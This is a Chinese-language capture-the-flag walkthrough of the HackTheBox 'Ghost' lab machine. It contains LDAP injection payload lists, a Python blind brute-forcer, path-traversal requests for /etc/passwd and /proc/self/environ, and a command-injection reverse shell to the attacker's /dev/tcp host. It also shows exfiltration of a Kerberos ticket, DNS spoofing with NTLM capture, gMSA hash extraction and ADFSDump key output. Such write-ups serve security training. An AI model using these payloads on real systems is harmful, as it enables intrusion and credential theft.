Ghost

admin 2025年4月21日01:37:50评论9 views字数 33157阅读110分31秒阅读模式

https://app.hackthebox.com/machines/Ghost

受害者ip:10.10.11.24

攻击者ip:10.10.16.45

参考:http://www.vxer.cn/2024/12/20/hackthebox-ghost-walkthrough/#comment-439

https://www.youtube.com/watch?v=4dEmocjKnZg

https://thecybersecguru.com/ctf-walkthroughs/mastering-ghost-beginners-guide-from-hackthebox/

https://mp.weixin.qq.com/s/vZ29jGWQwDa6gijXfAXjMw

https://www.bilibili.com/video/BV1wS42197Yr/

https://0xdf.gitlab.io/2025/04/05/htb-ghost.html#

    端口扫描

echo "10.10.11.24 ghost.htb DC01.ghost.htb" >> /etc/hosts 

80,5985,8008是ghost,8443为http协议

nmap -sV -sC -Pn -p- --min-rate=500 10.10.11.24Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 02:48 ESTStats: 0:01:49 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 41.73% done; ETC: 02:52 (0:02:34 remaining)Stats: 0:06:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 96.78% done; ETC: 02:54 (0:00:13 remaining)Nmap scan report for 10.10.11.24Host is up (0.38s latency).Not shown: 65508 filtered tcp ports (no-response)PORTSTATE SERVICEVERSION53/tcpopendomainSimple DNS Plus80/tcpopenhttpMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found88/tcpopenkerberos-secMicrosoft Windows Kerberos (server time: 2025-02-24 07:54:56Z)135/tcpopenmsrpcMicrosoft Windows RPC139/tcpopennetbios-ssnMicrosoft Windows netbios-ssn389/tcpopenldapMicrosoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after:2124-06-19T15:55:55443/tcpopenhttps?445/tcpopenmicrosoft-ds?464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoft Windows RPC over HTTP 1.0636/tcpopenssl/ldapMicrosoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after:2124-06-19T15:55:551433/tcpopenms-sql-sMicrosoft SQL Server 2022 16.00.1000.00; RTM| ms-sql-info: |10.10.11.24:1433: |Version: |name: Microsoft SQL Server 2022 RTM|number: 16.00.1000.00|Product: Microsoft SQL Server 2022|Service pack level: RTM|Post-SP patches applied: false|_TCP port: 1433|_ssl-date: 2025-02-24T07:56:40+00:00; +9s from scanner time.| ms-sql-ntlm-info: |10.10.11.24:1433: |Target_Name: GHOST|NetBIOS_Domain_Name: GHOST|NetBIOS_Computer_Name: DC01|DNS_Domain_Name: ghost.htb|DNS_Computer_Name: DC01.ghost.htb|DNS_Tree_Name: ghost.htb|_Product_Version: 10.0.20348| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback| Not valid before: 2025-02-24T04:03:43|_Not valid after:2055-02-24T04:03:432179/tcpopenvmrdp?3268/tcpopenldapMicrosoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after:2124-06-19T15:55:553269/tcpopenssl/ldapMicrosoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after:2124-06-19T15:55:55|_ssl-date: TLS randomness does not represent time3389/tcpopenms-wbt-server Microsoft Terminal Services|_ssl-date: 2025-02-24T07:56:39+00:00; +10s from scanner time.| ssl-cert: Subject: commonName=DC01.ghost.htb| Not valid before: 2025-02-23T04:00:58|_Not valid after:2025-08-25T04:00:58| rdp-ntlm-info: |Target_Name: GHOST|NetBIOS_Domain_Name: GHOST|NetBIOS_Computer_Name: DC01|DNS_Domain_Name: ghost.htb|DNS_Computer_Name: DC01.ghost.htb|DNS_Tree_Name: ghost.htb|Product_Version: 10.0.20348|_System_Time: 2025-02-24T07:56:11+00:005985/tcpopenhttpMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found8008/tcpopenhttpnginx 1.18.0 (Ubuntu)|_http-generator: Ghost 5.78|_http-server-header: nginx/1.18.0 (Ubuntu)| http-robots.txt: 5 disallowed entries |_/ghost/ /p/ /email/ /r/ /webmentions/receive/|_http-title: Ghost8443/tcpopenssl/httpnginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)| tls-nextprotoneg: |_http/1.1| tls-alpn: |_http/1.1| ssl-cert: Subject: commonName=core.ghost.htb| Subject Alternative Name: DNS:core.ghost.htb| Not valid before: 2024-06-18T15:14:02|_Not valid after:2124-05-25T15:14:02| http-title: Ghost Core|_Requested resource was /login|_ssl-date: TLS randomness does not represent time9389/tcpopenmc-nmf.NET Message Framing49443/tcp openunknown49664/tcp openmsrpcMicrosoft Windows RPC49668/tcp openmsrpcMicrosoft Windows RPC49675/tcp openncacn_httpMicrosoft Windows RPC over HTTP 1.054070/tcp openmsrpcMicrosoft Windows RPC54143/tcp openmsrpcMicrosoft Windows RPC61890/tcp openmsrpcMicrosoft Windows RPCService Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernelHost script results:| smb2-security-mode: |3:1:1: |_Message signing enabled and required| smb2-time: |date: 2025-02-24T07:56:08|_start_date: N/A|_clock-skew: mean: 9s, deviation: 0s, median: 9sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 510.88 seconds

smb检索不出有用的信息

crackmapexec smb 10.10.11.24 --users尝试枚举域用户crackmapexec smb 10.10.11.24 -u "none" -p "" --shares 尝试使用空用户名和空密码枚举共享

Ghost

使用kerbrute对ghost.htb域进行Kerberos用户枚举

Ghost

80,5985没东西,8008是ghost cms,获得一个用户名Kathryn Holland

Ghost

根据公开信息,访问http://ghost.htb:8008/ghost/api/v4/admin/site/可以看到版本号,5.78

http://ghost.htb:8008/ghost/#/signin为管理员登陆地址

ghost的目录结构:ghost/├── content/├── apps/# 第三方插件和集成的文件夹├── data/# 存储数据库和其他数据文件├── images/# 存储上传的图片和媒体文件├── logs/# 存储日志文件├── themes/# 存储主题文件└── files/# 存储上传的其他文件├── core/# 核心代码├── server/# 服务器端代码├── services/# 核心服务相关代码├── models/# 数据模型├── data/# 数据文件├── routes/# 路由文件├── settings/# 设置文件└── utils/# 工具代码├── ghost.js# Ghost 的主配置文件├── package.json# 项目依赖和配置信息├── .env# 环境变量文件├── config.production.json# 生产环境的配置文件└── README.md# 说明文档

Ghost

Ghost

目录扫描Ghost

找到robots.txt,/ghost是登录页面,其他访问后全是404

Ghost

8443端口是AD FS的登录界面

Ghost

8443端口点击登录会跳转到 federation.ghost.htb,加入到hosts后再次访问是一个登录框,此时没有用户名和密码

Ghost

子域名爆破

将子域名gitea.ghost.htb和intranet.ghost.htb加入到/etc/host文件中

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u "http://ghost.htb:8008/" -H "Host: FUZZ.ghost.htb" -t 50 --hl 184,7

Ghost

http://gitea.ghost.htb:8008/explore/users发现两个仓库的用户名,gitea_temp_principal,cassandra.shelton

Ghost

弱口令爆破一下,如果成功了或许可以登录其他系统

Ghost

子域名intranet发现登录口

http://intranet.ghost.htb:8008/login

Ghost

通过抓包在请求包中发现参数1_ldap-username和1_ldap-secret

Invalid combination of username and secret "error":"Unknown error"

Ghost

参考:https://www.freebuf.com/vuls/356049.html

轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)。LDAP是一种通讯协议,LDAP支持TCP/IP,默认的端口是 389,加密的端口是 636。这个定义有点抽象,简单点来说就是,LDAP就是一个数据库,它是用来存储数据的。

但是,LDAP和其他的数据库(如MySQL、SQLserver)是不一样的,MySQL这类数据库的数据是按记录一条条记录存在表中,而LDAP数据库的结构是树状的,似于目录服务的特殊数据库,数据是存储在叶子节点上的。

使用在gitea子域名发现的用户名,gitea_temp_principal或者cassandra.shelton

# 常见的 LDAP 注入 Payload 列表ldap_payloads_username = ["gitea_temp_principal",#普通常规用户名测试"gitea_temp_principal)(|(objectClass=*))",# 绕过认证,返回所有对象"gitea_temp_principal)(&))(|(objectClass=*))",# 尝试构造语法错误"gitea_temp_principal)(password=*)",# 绕过密码检查"gitea_temp_principal)(!(objectClass=*))",# 查询排除所有对象"*)(uid=*))(|(cn=*",# 模糊匹配"gitea_temp_principal)(|(cn=Administrator))",# 尝试匹配某个具体的用户"*",# 通配符匹配所有"(|(uid=*))",# 查找UID属性所有用户]ldap_payloads_password = ["test",# 普通密码常规测试"*",# 通配符匹配所有密码"test)(|(objectClass=*))",# 密码字段尝试注入绕过认证"test)(&))(|(password=*))",# 密码字段尝试语法错误"test(!(password=*))",# 查询排除所有密码"*)(userPassword=*))(|(cn=*",# 模糊匹配密码

使用常用的payload对参数1_ldap-username和1_ldap-secret进行爆破

添加两个payload,使用集束炸弹(Clusterbomb)

Ghost

payload1:

gitea_temp_principalgitea_temp_principal)(|(objectClass=*)gitea_temp_principal)(&))(|(objectClass=*)gitea_temp_principal)(password=*)gitea_temp_principal)(!(objectClass=*)*)(uid=*))(|(cn=*)gitea_temp_principal)(|(cn=Administrator)*(|(uid=*)

Ghost

payload2:

test*test)(|(objectClass=*)test)(&))(|(password=*)test(!(password=*)*)(userPassword=*))(|(cn=*

Ghost

攻击前注意关掉payload编码

Ghost

组合成功的话,响应码是303

根据爆破的结果来看,以下组合可以成功注入返回token

用户名:gitea_temp_principal)(|(objectClass=*)    密码:*用户名:gitea_temp_principal    密码:*用户名:*    密码:*

Ghost

后台1

f12-->存储-->cookie-->修改名称为token-->修改值为Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3NDQ5OTIzMTcsImlhdCI6MTc0MjQwMDMxNywidXNlciI6eyJ1c2VybmFtZSI6ImdpdGVhX3RlbXBfcHJpbmNpcGFsIn19.IicqCR9DBudW7fOsplqpUShDdRjKwRy63vW7O1ZyWkk;(%20要手动转为空格)-->刷新即可进入后台

Ghost

后台2

通过两个*进入到后台后,发现自己的名字是kathryn.holland,并且权限是sysadmin

Ghost

新闻提示git正在迁移,并且让我使用gitea_temp_principal从http://intranet.ghost.htb:8008获得密码 来登录gitea

Ghost

Ghost

users中一堆用户名,先保存一下留着备用

Ghost

用户名gitea_temp_principal,密码???*,如果?是对的则返回响应码302,保存这个字符然后继续爆破下一个?,有点类似于sql注入的盲注,根据这个原理生成代码

Ghost

修改Content-Type可以优化请求

Ghost

爆破密码:

直接用抄walkthrough的代码

# 引入必要的库import string# 提供字符集,包含字母和数字import requests # 用于发送HTTP请求# 定义目标URL地址url = 'http://intranet.ghost.htb:8008/login'# 定义请求头部,包含一些目标特定的头信息headers = {'Host': 'intranet.ghost.htb:8008',# 设置目标网站的主机名'Accept-Language': 'en-US,en;q=0.5',# 指定客户端接受的语言'Accept-Encoding': 'gzip, deflate, br',# 指定数据响应的压缩格式'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',# 特定操作标记'Connection': 'keep-alive'# 保持连接以提高性能}# 初始化密码为空字符串password = ""# 开始暴力破解的循环while True:# 循环尝试每个字符(包括小写字母和数字)for char in string.ascii_lowercase + string.digits:# 设置表单数据,使用文件上传的方式传递数据files= {'1_ldap-username': (None, 'gitea_temp_principal'), # 提供用户名'1_ldap-secret': (None, f'{password}{char}*'),# 尝试的密码(通配符 * 表示部分匹配)'0': (None, '[{},"$K1"]')# 其他数据格式(可能用于目标的特殊处理)}# 发送POST请求到目标URLr = requests.post(url, headers=headers, files=files)# 如果服务器返回HTTP 303状态码,表示当前密码部分匹配成功if r.status_code == 303:# 添加成功的字符到密码变量中password += char# 打印当前密码的进展print(f"正在尝试密码: {password}")# 跳出内层循环,开始尝试下一个字符位置breakelse:# 如果内层循环未能匹配任何字符,说明密码已经完整,结束外层循环break# 打印完整的密码(最终破解结果)print(f'密码是{password}')

Ghost

用户名:gitea_temp_principal 密码:szrr8kpc3z6onlqf

登录gitea

Ghost

http://gitea.ghost.htb:8008/ghost-dev/blog获得ghost的key

我们使用幽灵CMS在Docker容器。我们正在计划增加额外的功能。 他们中的一个是新的连接的内联网。 例如,有些员额将在我们的内联网,或网址的职位将被扫描通过内联网。 然而,这仍然在发展,使某些功能后面的一个API关键之间共享的内联网和博客。 它命名 DEV_INTRANET_KEY 它存储在一个环境变量。我们修改了一点鬼CMS源代码,以适应这种新的功能。 一个例子是的 posts-public.js 文件中,这使我们能够取额外信息有关的职位。 在未来,我们应该移动的信息的数据库,以便我们不会意外丢失数据的容器娱乐。 确保替换的文件的运行时,或只是使用所提供的个命令..此外,公共API在鬼需要的API关键。 我们可以把它写在这里,因为它只允许进入公共数据: a5af628828958c976a3b6cc81a

Ghost

在使用手册上发现key的使用方法

https://ghost.org/docs/content-api/

内容API支持两个类型的请求:浏览和读取。 浏览端点能让你取名单的资源,而读端点能让你取一个单一的资源。

Ghost

http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a

Ghost

将上面提到的posts-public.js代码甩给ai,提示extra存在目录遍历漏洞

Ghost

加入extra参数成功获取到/etc/passwd,这里为docker环境下的linux系统

curl "http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../etc/passwd&key=a5af628828958c976a3b6cc81a"

Ghost

Ghost

/var/lib/ghost/content/data/ghost.db

http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../var/lib/ghost/content/data/ghost.db&key=a5af628828958c976a3b6cc81a

通过拼接路径,读取到ghost.db

Ghost

Ghost

过滤json格式并把数据库内容写入到ghost.db,但文件还是有损坏

curl -s -q 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../var/lib/ghost/content/data/ghost.db&key=a5af628828958c976a3b6cc81a' | jq -r '.meta.extra[]' | sed 's/x00/rn/g' > ghost.db

Ghost

strings ghost.db | grep '$2'

通过过滤关键词$2找到Kathryn Hollandkathryn的密码

Ghost

由于 bcrypt 内置盐值,并且计算强度很高,暴力破解可能会非常缓慢,直接放弃

Ghost

Ghost

根据提示DEV_INTRANET_KEY 它存储在一个环境变量,找到可以读取的环境变量文件

/etc/profile 这是系统级环境变量的主要配置文件,用于为所有用户设置全局环境变量。

/etc/environment 此文件用于设置与用户无关的系统级环境变量,例如PATH、HOME

/etc/bash.bashrc 虽然主要用于Bash shell的配置,但也可以用于设置一些用户级的环境变量

/proc/self/environ 是一个动态的文件,内容会随着当前进程的环境变量的变化而变动。因此,你对环境变量的修改会在这里实时反映出来

在/proc/self/environ中找到DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

curl -s -q 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a' | jq -r '.meta.extra[]' | sed 's/x00/rn/g'

Ghost

现在去翻一下intranet

Ghost

根据刚才的DEV_INTRANET_KEY,下载intranet然后找到包含这串字符的文件,intranet/backend/src/api/dev.rs

unzip intranet-main.zip解压文件grep -r "DEV_INTRANET_KEY" ~/Desktop/intranet -r:递归搜索子目录中的文件。"DEV_INTRANET_KEY":要查找的目标字符串(区分大小写)。~/Desktop/intranet:指定要搜索的目标路径

Ghost

ai从dev.rs分析出/api-dev/scan有问题

Ghost

再把scan给ai分析一下,存在命令注入并给出了poc

Ghost

Ghost

获取到一个docker的shell

curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H "Content-Type: application/json" -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -d '{"url": "http://abc.con;/bin/bash -i >& /dev/tcp/10.10.16.45/1111 0>&1"}' 

Ghost

Ghost

env显示当前进程的所有环境变量

在环境变量中发现一串密码He!KA9oKVT3rL99j

Ghost

爆破一下用户名ghost.htbintranet_principal:He!KA9oKVT3rL99j

netexec smb 10.10.11.24 -u users.txt -p 'He!KA9oKVT3rL99j'

Ghost

用impacket-mssqlclient登陆后枚举一下Linked Servers

impacket-mssqlclient ghost.htb/intranet_principal:'He!KA9oKVT3rL99j'@DC01.ghost.htb -windows-authenum_linksSELECT * FROM fn_my_permissions(NULL'SERVER');自身权限很低,库里面也没有重要信息

Ghost

用bloodhound收集一下信息

netexec ldap 10.10.11.24 -u'intranet_principal' -p 'He!KA9oKVT3rL99j'--bloodhound --collection All --dns-server 10.10.11.24

Ghost

回到之前的docker

在根目录发现docker-entrypoint.sh

printf 'Host *nControlMaster autonControlPath ~/.ssh/controlmaster/%%r@%%h:%%pnControlPersist yes' > /root/.ssh/config使用 printf 创建并写入 SSH 配置文件 /root/.ssh/config。配置内容定义了所有 SSH 主机的相关选项。Host *:匹配所有主机(即针对所有主机应用此配置)。ControlMaster auto:启用 SSH 多路复用功能。在需要时自动创建主连接,供其他会话复用。ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p:定义控制套接字的存储路径。%r:表示远程主机用户名。%h:表示远程主机地址。%p:表示远程连接使用的端口。套接字文件路径会类似 /root/.ssh/controlmaster/[email protected]:22。ControlPersist yes:持久化多路复用主连接,即使没有活跃子会话,主连接仍会保持。同时也给了hack可乘之机

Ghost

来到此路径发现florence.ramirez的ssh会话文件,类型为socke

Ghost

通过控制套接字路径 /root/.ssh/controlmaster/[email protected]@dev-workstation:22 复用一个现有的 SSH 主连接。利用复用的连接与远程主机 ghost.htb 建立 SSH 会话,登录到用户 florence.ramirez 下。

ssh -S /root/.ssh/controlmaster/[email protected]@dev-workstation:22 [email protected]-S <控制套接字路径>:指定多路复用的控制套接字。[email protected]:目标主机用户和地址。

Ghost

klist查看当前系统上 Kerberos票据

从 klist 输出可以看出,用户有一个有效的 Kerberos TGT (Ticket Granting Ticket),可用于访问域资源,且它有效期为 10小时 。默认 Principal 是 [email protected],这是一个典型的 Active Directory 域账户。Kerberos服务 Principal 是 krbtgt/[email protected],这是 Active Directory 域控制器的默认身份认证服务实例。

这是一个 Windows域(Active Directory),主域名是 GHOST.HTB,有一个域控制器(dc01.ghost.htb)。当前是在一个加入域的 Linux设备上登录的用户(florence.ramirez)。

Ghost

env查看环境变量

当前用户的 Kerberos票据存储在 /tmp/krb5cc_50 文件中,这是一个典型的票据缓存文件,可能是 TGT

这个票据可以直接使用用于请求域服务,或者导出后用于攻击域

Ghost

将krb5cc_50文件下载到kali,

florence.ramirez@LINUX-DEV-WS01:~$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.45/2222<1:~$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.45/2222nc -lnvp 2222 > krb5cc_50 

Ghost

如果有报错就同步下时间,ntpdate -u 10.10.11.24

成功通过 Kerberos缓存文件(ccache) 认证

Ghost

用bloodhound进行信息收集

bloodhound-python -c all -k -no-pass -d ghost.htb -u florence.ramirez --zip -ns 10.10.11.24

如果遇到报错可以修改一下/usr/lib/python3/dist-packages/bloodhound/ad/authentication.py的源码,在89行添加ip = '10.10.11.24',保存后在执行ntpdate -u ghost.htb,运行完成后记得把authentication.py改回去

Ghost

Ghost

GHOST.HTB和CORP.GHOST.HTB是互相信任的

根据这种关系,通常可以考虑以下几点:

跨域攻击(Inter-Domain Attacks):由于这是一个双向的信任关系,因此攻破一个域(如 GHOST.HTB)的一个账户,可能会使攻击者能够横向移动,从而访问另一个域(如 CORP.GHOST.HTB)中的资源。这对于扩大攻击面来说是非常重要的。资源访问(Access to Resources):受信任的域通常允许来自被信任域的用户访问某些资源,例如文件、打印机,甚至在信任关系未得到严格控制的情况下,有可能获取更高的权限。权限提升路径(Privilege Escalation Pathways):如果攻击者能够攻破一个域中的一个低权限用户账户,他们可能会在被信任域中找到权限提升的机会。服务账户和跨域策略(Service Accounts and Cross-Domain Policies):服务账户往往在受信任的域之间具有一定的权限。攻破这些服务账户可能为攻击者提供巨大的优势,从而显著提高攻击的潜力和效果。

Ghost

论坛里发现justin.bradley说域名bitbucket.ghost.htb不工作

Ghost

用dnsDump 模块通过 DNS 服务枚举出域控制器管理的 DNS 数据,确实没有bitbucket.ghost.htb相关的记录

bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump | grep bitbucket

Ghost

伪造DNS记录并指向自己,添加后再次查询确认bitbucket已经存在

bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.16.45

Ghost

Ghost

justin.bradley会去查询dns,用responder监听tun0网卡,响应他的查询,获得justin.bradley的NTLM hash

responder -I tun0 -Pdv

justin.bradley::ghost:c571a18cce751ceb:E23DDFD41A0257B4DBEBE68EF378C720:0101000000000000FA898FE908ADDB016677BC6370DD69C300000000020008004F0050003300420001001E00570049004E002D005100500057004E0046004B0058005300310055004500040014004F005000330042002E004C004F00430041004C0003003400570049004E002D005100500057004E0046004B00580053003100550045002E004F005000330042002E004C004F00430041004C00050014004F005000330042002E004C004F00430041004C00080030003000000000000000000000000040000020DC6BE936A8CDFEC68D2E30067C46F7368745652708CD1C58B23DED48E31D6A0A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

Ghost

Ghost

爆破获得密码justin.bradley:Qwertyuiop1234$$

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Ghost

evil-winrm登录获得用户的flag

evil-winrm -i 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$'

Ghost

用新获得的账号密码justin.bradley再次bloodhound

Ghost

用户 justin.bradley 对账户 ADFS_GMSA$拥有ReadGMSAPassword的权限。这意味着,你能够提取该服务账户的托管密码,并用它来访问或模拟该账户的权限

GMSA的预期用途是允许某些计算机帐户检索GMSA的密码,然后以GMSA的身份运行本地服务。控制授权主体的攻击者可能会滥用该特权来冒充GMSA。

Ghost

Ghost

Ghost

活动ADFS_GMSA$账户的NTLM hash

bloodyAD --host dc01.ghost.htb-d ghost.htb-u justin.bradley-p 'Qwertyuiop1234$$'get object 'ADFS_GMSA$' --attr msDS-ManagedPasswordnxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

Ghost

使用winrm登录

evil-winrm -i 10.10.11.24 -u ADFS_GMSA$ -H 9de4d086a1443bef82340604766d69c9 

Ghost

这里需要用到ADFSpoof,ADFSpoof 是与 ADFSDump 配合使用的工具,用于生成伪造的安全令牌

ADFSDump 是一个由 Mandiant 开发的 C# 工具,用于从 Active Directory Federation Services (AD FS) 中提取各种有用的信息。该工具主要用于安全测试和渗透测试,可以与 ADFSpoof 工具结合使用,生成伪造的安全令牌。ADFSDump 能够读取 Active Directory 和 AD FS 配置数据库中的信息,这些信息随后可以被 ADFSpoof 用来生成安全令牌。

https://github.com/mandiant/ADFSDump

Ghost

提前安装C#的插件和.NET Framework v4.5.2 的开发者包

https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/thank-you/net452-developer-pack-offline-installer

然后ctrl+shift+B点击build,就会生成ADFSDump-masterADFSDumpbinDebugADFSDump.exe

Ghost

上传ADFSDump

python -m http.server 8080

curl http://10.10.16.45:8080/ADFSDump.exe -o ADFSDump.exe

.ADFSDump.exe

core.ghost.htb 是目标域的一个交互服务,其通过 SAML 2.0 协议进行身份验证,网页入口点为https://core.ghost.htb:8443/adfs/saml/postResponse。把core.ghost.htb加入host文件

*Evil-WinRM* PS C:Usersadfs_gmsa$Downloads> .ADFSDump.exe__________________ ____/|/ __ / ____/ ___// __ ________ _______/ /| | / / / / /___ / / / / / / / __ `__ / __ / ___ |/ /_/ / __/___/ / /_/ / /_/ / / / / / / /_/ //_/|_/_____/_//____/_____/__,_/_/ /_/ /_/ .___//_/Created by @doughsec## Extracting Private Key from Active Directory Store[-] Domain is ghost.htb[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1## Reading Encrypted Signing Key from Database[-] Encrypted Token Signing Key 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